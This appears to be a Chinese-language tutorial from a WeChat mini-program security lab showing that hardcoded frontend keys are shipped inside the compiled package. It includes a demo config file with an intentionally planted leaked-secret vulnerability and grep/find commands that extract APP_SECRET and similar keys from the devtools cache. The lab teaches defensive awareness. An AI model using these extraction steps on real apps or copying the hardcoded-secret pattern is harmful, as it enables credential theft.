grep -oE '(APP_SECRET|AES_KEY|OSS_SK|SIGN_KEY)[^,]{0,60}' app-service.js这就是「前端没有秘密」的具体形态。 凡是下发到客户端的密钥,都应当视为已泄露。
不解包,直接看「攻击者眼中的代码」
先不部署,在开发者模式看看先
这条路的逻辑是:开发者工具调试器里看到的,就是解包后能拿到的。
看开发者工具的编译缓存/微信开发者工具/<hash>/WeappCache/WeappCompileCache/<hash>/
define("utils/config.js", (function(require, module, exports, window, top, document, ...){// ==================================================================// [VULN-13] 前端硬编码密钥// ==================================================================// 这个文件会被完整打进 app-service.js。你把它当成"配置",但攻击者// 解包之后直接 grep 就能拿到,一行代码都不用逆。...module.exports = { APP_ID: "wxdemo0000000000", APP_SECRET: "b7f3c1e9a24d4f8e9c0a1b2d3e4f5a6b", AES_KEY: "0123456789abcdef", AES_IV: "abcdef0123456789", OSS_AK: "LTAI5tDemoFakeKey123", OSS_SK: "Qm9ndXNBMTIzNDU2Nzg5MGFiY2RlZg==", OSS_BUCKET: "wxlab-prod", SIGN_KEY: "l4b_wx_sign_2024_secret", INTERNAL_API: [ "http://10.0.0.12:8080/api/internal/report", "http://10.0.0.12:8080/api/internal/export" ]};开发者工具打包时不做剥离、不做混淆、不检查文件有没有被引用——按目录原样塞进去。
说明:
- define(“utils/config.js”, function(…){…}) 就是小程序的模块包装格式,和你在 .wxapkg 里解出来的完全一样。区别只是这里多了 2 字节头部
- 它没被 require 过,但仍然在包里 —— 你之前在 Sources 里搜 0 of 0,和这里能完整 dump 出来,两件事同时成立。这就是「打包 ≠ 运行」
- 拿到它的成本是零:tail -c +3 去掉头部,或者 strings -a | grep APP_SECRET。不需要反编译,不需要理解 define 是什么
复现命令
cd "$HOME/Library/Application Support/微信开发者工具"find . -path "*WeappCompileCache*" -type f | xargs grep -l "APP_SECRET" 2>/dev/null关掉靶场
后端在前台跑的话 Ctrl+C 就行。
如果起在后台又找不到进程:
lsof -ti :9000 | xargs kill基础就做到这里了,后面会上线然后做正式的练习。
文章分享
如果这篇文章对你有帮助,欢迎分享给更多人!